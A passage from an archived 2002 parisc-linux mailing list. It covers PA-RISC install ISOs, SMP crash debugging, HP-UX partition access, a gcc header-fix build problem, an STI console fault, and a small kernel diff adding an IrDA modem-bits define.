and for lifimages:
http://pateam.esiee.fr/cd-images/lifimages/

The -pa32 ISO is out, and I'm currently building one with PDC support=20
enabled.

enjoy !


Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/




From - Thu Nov 08 21:22:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4.18-pa32 with PDC console support ISO
Date: Sat, 1 Jun 2002 01:03:18 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <98DE8840-74EA-11D6-8AEA-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v481)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621348 8162 80.91.229.3 (22 Nov 2014 01:55:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:48 +0000 (UTC)
Cc: PA/Linux <parisc-linux@lists.parisc-linux.org>
To: Robert Stanford <rob@rotapile.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 31 17:03:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0F39F482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 31 May 2002 17:03:20 -0600 (MDT)
Original-Received: from npyu.esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id 0809F49BEF; Sat,  1 Jun 2002 01:03:19 +0200 (CEST)
X-Mailer: Apple Mail (2.481)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14945

Hi Robert !

There is a netinst ISO with PDC console support enabled available here:
http://pateam.esiee.fr/cd-
images/testing/palinux-2.4.18-pa32-PDC-20020531-netinst.iso

and the corresponding lifimage here:
http://pateam.esiee.fr/cd-
images/lifimages/lifimage-2.4.18-pa32-PDC-20020531.gz

I hope that'll be useful.

Though I haven't tested these AT ALL ;)

Enjoy,


Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/




From - Thu Nov 08 21:22:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.18 SMP instability
Date: Fri, 31 May 2002 23:34:59 -0700 (PDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0205312326280.11012-100000@garibaldi.apptechsys.com>
References: <20020529063552.B14D8482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621348 8163 80.91.229.3 (22 Nov 2014 01:55:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jun  1 00:35:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9AE6C482B
	for <parisc-linux@lists.parisc-linux.org>; Sat,  1 Jun 2002 00:35:02 -0600 (MDT)
Original-Received: from garibaldi.apptechsys.com (ssh.apptechsys.com [207.14.35.164])
	by mail.apptechsys.com (Postfix) with ESMTP
	id F42247BC47; Fri, 31 May 2002 23:34:59 -0700 (PDT)
In-Reply-To: <20020529063552.B14D8482A@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14946

On Wed, 29 May 2002, Grant Grundler wrote:

> Jeremy Drake wrote:
> > tried to bend the pins so that they didn't short 
> > anything, and one broke off.  Both onboard USB ports haven't worked since.  
> 
> Ok. So broken physically but not eletrically.
> Not sure that should cause any problems.
I pulled the drive and plugged it into an identical (but not broken) 
J5000.  The box HPMC'd when doing an apt-get update.  Since this box was 
on graphics console, I got a large amount of hex numbers spewed to the 
screen.  So, at least we can rule out any damage to the box as the cause 
of this. 

-- 
Here I am, fifty-eight, and I still don't know what I want to be when
I grow up.
		-- Peter Drucker




From - Thu Nov 08 21:22:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP-UX partition support
Date: Fri, 31 May 2002 23:46:15 -0700 (PDT)
Lines: 10
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0205312335140.11012-100000@garibaldi.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621349 8169 80.91.229.3 (22 Nov 2014 01:55:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:49 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jun  1 00:46:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 222AD482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  1 Jun 2002 00:46:16 -0600 (MDT)
Original-Received: from garibaldi.apptechsys.com (ssh.apptechsys.com [207.14.35.164])
	by mail.apptechsys.com (Postfix) with ESMTP id 5E9DB7BC73
	for <parisc-linux@lists.parisc-linux.org>; Fri, 31 May 2002 23:46:15 -0700 (PDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14947

Is there, or are there any plans to make, a way to access HP-UX 
partitions?  When I plug my HP-UX drive into my parisc linux box, I can't 
see any partitions, let alone a file system.  This is no urgent matter, 
just a curiosity...

-- 
The real trouble with reality is that there's no background music.




From - Thu Nov 08 21:22:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP-UX partition support
Date: Sat, 1 Jun 2002 13:22:52 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20020601132252.F10366@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.44.0205312335140.11012-100000@garibaldi.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621349 8172 80.91.229.3 (22 Nov 2014 01:55:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jeremy Drake <jeremyd@apptechsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jun  1 06:23:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1F578482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  1 Jun 2002 06:23:04 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17E7uG-0003t5-00; Sat, 01 Jun 2002 13:22:52 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <Pine.LNX.4.44.0205312335140.11012-100000@garibaldi.apptechsys.com>; from jeremyd@apptechsys.com on Fri, May 31, 2002 at 11:46:15PM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14948

On Fri, May 31, 2002 at 11:46:15PM -0700, Jeremy Drake wrote:
> Is there, or are there any plans to make, a way to access HP-UX 
> partitions?  When I plug my HP-UX drive into my parisc linux box, I can't 
> see any partitions, let alone a file system.  This is no urgent matter, 
> just a curiosity...

it's vxfs (basically).  someone who was motivated enough could try
munging freevxfs to make it work...

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-cvs problem
Date: Sat, 01 Jun 2002 19:11:04 +0000
Lines: 39
Approved: news@gmane.org
Message-ID: <3CF91C48.5000008@freebel.net>
References: <200205311715.g4VHF4Pu006500@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621349 8174 80.91.229.3 (22 Nov 2014 01:55:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:49 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jun  1 13:10:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from spoolm1.tiscalinet.be (spoolm1.tiscalinet.be [212.35.2.50])
	by dsl2.external.hp.com (Postfix) with ESMTP id ABD70482A
	for <parisc-linux@parisc-linux.org>; Sat,  1 Jun 2002 13:10:31 -0600 (MDT)
Original-Received: from [62.235.44.71] (helo=freebel.net)
	by spoolm1.tiscalinet.be with esmtp (Tiscalinet) 
	id 17EEGg-0006cn-00; Sat, 01 Jun 2002 21:10:27 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0rc3) Gecko/20020529 Debian/1.0rc3-1
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14949


John David Anglin wrote:
>>It seems to be well comited in last cvs update this morming I got in
>>src/gcc/gcc/fixinc/inclhack.def:
>>...
>>/*
>> * __thread is now a keyword.
>> */
> 
> 
>>But do not seems to be applied as I got the same error?
>>
>>What do I wrong or forget to do?
> 
> 
> You should see the following in your build output:
> 
> Applying thread_keyword           to pthread.h
> Fixed:  pthread.h
> 
> A fixed pthread.h should appear in the {build}/gcc/include directory.
> This seems to work ok for me in a native hppa-linux build.  However,
> it appears that you are trying to do a cross build.

AFAIK gcc bootstrap does not work for hppa?

> If the header
> is not being fixed, you will need to examine your build log carefully
> to determine why the fix isn't being done or doesn't work.
> 

I will have a detailed look but as newbee in gcc stuff it will take a time.

Thank again for attention and help,
	Joel





From - Thu Nov 08 21:22:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-cvs problem
Date: Sat, 1 Jun 2002 20:45:26 -0400 (EDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <200206020045.g520jQ6K009698@hiauly1.hia.nrc.ca>
References: <3CF91C48.5000008@freebel.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621349 8178 80.91.229.3 (22 Nov 2014 01:55:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:49 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: joel.soete@freebel.net (Joel Soete)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jun  1 18:45:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 12256482A
	for <parisc-linux@parisc-linux.org>; Sat,  1 Jun 2002 18:45:30 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g520jRFN009699;
	Sat, 1 Jun 2002 20:45:27 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g520jQ6K009698;
	Sat, 1 Jun 2002 20:45:26 -0400 (EDT)
In-Reply-To: <3CF91C48.5000008@freebel.net> from "Joel Soete" at Jun 1, 2002 07:11:04 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14950

> I will have a detailed look but as newbee in gcc stuff it will take a time.

If you manually execute the failing compilation command changing '-c'
to '-E', this will generate the cpp processed output for the compilation
source file.  Inspection of this output should allow you to see exactly
which include files have been loaded and the result of all macro expansions.

There may be a problem with the include hack or possibly an unfixed
version of the pthread.h header is being loaded.  Gcc puts fixed include
directories in ${prefix}/lib/${target}/${gcc_version}/include.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:22:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Newbigin <jnewbigin@it.swin.edu.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] STI problem on 715/50 with new kernels
Date: Sun, 2 Jun 2002 19:30:55 +1000 (EST)
Lines: 15
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0206021923310.11687-100000@mars.it.swin.edu.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621350 8186 80.91.229.3 (22 Nov 2014 01:55:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:50 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun  2 03:30:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from venus.it.swin.edu.au (venus.it.swin.edu.au [136.186.5.30])
	by dsl2.external.hp.com (Postfix) with ESMTP id 72E54482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  2 Jun 2002 03:30:57 -0600 (MDT)
Original-Received: from mars.it.swin.edu.au (mars.it.swin.edu.au [136.186.5.35])
	by venus.it.swin.edu.au (8.11.6/8.11.2) with ESMTP id g529Utq06739
	for <parisc-linux@lists.parisc-linux.org>; Sun, 2 Jun 2002 19:30:55 +1000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14951

I have an Appolo 715/50 with debian installed on it.  I have upgraded to 
the 2.4.18 kernel but when the kernel boots, the STI display goes blank.  
Everything works except I can't see the image.  When I press reset, the 
firmware comes up and I can see the output from the linux kernel on the 
screen still.

If someone can help it would be much appreciated.  The 2.4.9 kernel has 
some kind of problem with the framebuffer so I can't run X.

John.






From - Thu Nov 08 21:22:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.18 SMP instability
Date: Sun, 02 Jun 2002 10:32:01 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <20020602163201.3AE44482A@dsl2.external.hp.com>
References: <Pine.LNX.4.44.0205312326280.11012-100000@garibaldi.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621350 8189 80.91.229.3 (22 Nov 2014 01:55:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jeremy Drake <jeremyd@apptechsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun  2 10:32:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 3AE44482A; Sun,  2 Jun 2002 10:32:01 -0600 (MDT)
In-Reply-To: Message from Jeremy Drake <jeremyd@apptechsys.com> 
   of "Fri, 31 May 2002 23:34:59 PDT." <Pine.LNX.4.44.0205312326280.11012-100000@garibaldi.apptechsys.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14952

Jeremy Drake wrote:
> So, at least we can rule out any damage to the box as the cause of this. 

Yup - thanks for trying that.

Offhand, Here are the differences I'm aware of between J5k and c3k:
o 2-CPU vs 1
o cache is 4-way associative vs 1-way (Same PA8500 CPU though!)
o J5K requires newer rev CPU (some SMP-related bugs fixed)
o Same PDC, but probably initializes a few things differently
o Though IO subsystem is identical chip set, J5k has more PCI busses
  and more slots.

Since dirty cache writeback can be sensitive to how busy the system is,
it's possible the HPMC is caused by a similar problem to what we saw
on PA8700 systems. You might try building a kernel with
"ioc_needs_fdc" forced true in arch/parisc/kernel/sba_iommu.c.
If it avoids the HPMC (but we still see other hangs), then it's
a clue we don't have caching working right for that CPU setup.

hth,
grant



From - Thu Nov 08 21:22:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Patch to enable IrDA :-)
Date: Sun, 02 Jun 2002 11:06:46 -0600
Lines: 111
Approved: news@gmane.org
Message-ID: <20020602170646.64D37482A@dsl2.external.hp.com>
References: <Pine.LNX.4.44.0205010207430.4938-100000@alpha.bocc.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621350 8190 80.91.229.3 (22 Nov 2014 01:55:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:50 +0000 (UTC)
To: HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun  2 11:06:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 64D37482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  2 Jun 2002 11:06:46 -0600 (MDT)
In-Reply-To: Message from Jochen Friedrich <jochen@scram.de> 
   of "Wed, 01 May 2002 02:08:48 +0200." <Pine.LNX.4.44.0205010207430.4938-100000@alpha.bocc.de> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14953

Jochen Friedrich wrote:
> Hi,
> 
> this tiny patch enables the usage of IrDA dongles on the PA-RISC :-)

No one has committed this yet since Alan Cox suggested:

| With these ifdefs for ARM and parisc maybe
| 
|        arg = IRDA_MODEM_BITS;
| 
| and sticking that in the header would be good ?

I took a quick look.

>  #ifdef TIOCM_OUT2 /* Not defined for ARM */
>         arg = TIOCM_OUT2;
> +#endif

This comment is wrong:
include/asm-arm/termios.h:#define TIOCM_OUT2    0x4000

Seems every arch defines this now in include/asm-*/termios.h.

> +#ifdef CONFIG_PARISC  /* PA-RISC uses OUT1 as hardware flow control bit 
> */
> +       arg |= TIOCM_OUT1;
>  #endif

I'v re-hacked this along the lines that Alan suggested.
But given the comment was wrong, thoughts?

I'm not able to test this.
Someone else will have to test and commit.

grant

Index: include/asm-i386/termios.h
===================================================================
RCS file: /var/cvs/linux/include/asm-i386/termios.h,v
retrieving revision 1.3
diff -u -p -r1.3 termios.h
--- include/asm-i386/termios.h	2001/07/05 21:38:41	1.3
+++ include/asm-i386/termios.h	2002/06/02 17:05:03
@@ -37,6 +37,8 @@ struct termio {
 #define TIOCM_OUT2	0x4000
 #define TIOCM_LOOP	0x8000
 
+#define TIOCM_MODEM_BITS	TIOCM_OUT2	/* IRDA support */
+
 /* ioctl (fd, TIOCSERGETLSR, &result) where result may be as below */
 
 /* line disciplines */
Index: include/asm-parisc/termios.h
===================================================================
RCS file: /var/cvs/linux/include/asm-parisc/termios.h,v
retrieving revision 1.6
diff -u -p -r1.6 termios.h
--- include/asm-parisc/termios.h	2001/07/11 17:20:32	1.6
+++ include/asm-parisc/termios.h	2002/06/02 17:05:03
@@ -37,6 +37,9 @@ struct termio {
 #define TIOCM_OUT2	0x4000
 #define TIOCM_LOOP	0x8000
 
+/* IRDA support - PA-RISC uses OUT1 as hardware flow control bit. */
+#define TIOCM_MODEM_BITS        (TIOCM_OUT2 | TIOCM_OUT1)
+
 /* ioctl (fd, TIOCSERGETLSR, &result) where result may be as below */
 
 /* line disciplines */
Index: arch/parisc/config.in
===================================================================
RCS file: /var/cvs/linux/arch/parisc/config.in,v
retrieving revision 1.39
diff -u -p -r1.39 config.in
--- arch/parisc/config.in	2001/11/08 21:17:52	1.39
+++ arch/parisc/config.in	2002/06/02 17:05:03
@@ -128,6 +128,8 @@ if [ "$CONFIG_SCSI" != "n" ]; then
 fi
 endmenu
 
+source net/irda/Config.in
+
 if [ "$CONFIG_NET" = "y" ]; then
    mainmenu_option next_comment
    comment 'Network device support'
Index: drivers/net/irda/irtty.c
